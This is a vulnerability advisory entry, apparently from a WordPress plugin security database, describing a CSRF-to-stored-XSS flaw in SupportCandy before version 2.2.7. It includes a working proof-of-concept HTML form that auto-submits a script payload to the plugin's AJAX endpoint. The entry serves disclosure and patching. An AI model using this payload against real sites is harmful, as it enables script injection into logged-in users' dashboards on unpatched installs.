WordPress Plugin Vulnerabilities

SupportCandy < 2.2.7 - CSRF to Cross-Site Scripting

Description

The plugin does not have CSRF check in the wpsc_tickets AJAX action, nor has any sanitisation or escaping in some of the filter fields which could allow attackers to make a logged in user having access to the ticket lists dashboard set an arbitrary filter (stored in their cookies) with an XSS payload in it.

Proof of Concept

<form action="https://example.com/wp-admin/admin-ajax.php" method="POST" id="csrf">
<input type="hidden" name="action" value="wpsc_tickets">
<input type="hidden" name="setting_action" value="set_custom_filter">
<input type="hidden" name="page_no" value="1">
<input type="hidden" name="custom_filter[s]" value=""><script>alert(/XSS/)</script>">
</form><script>csrf.submit()</script>

Go to https://example.com/wp-admin/admin.php?page=wpsc-tickets to trigger the XSS

Affects Plugins

Fixed in 2.2.7

References

Classification

Miscellaneous

Original Researcher
apple502j
Submitter
apple502j
Verified
Yes

Timeline

Publicly Published
2022-01-05 (about 2 years ago)
Added
2022-01-05 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other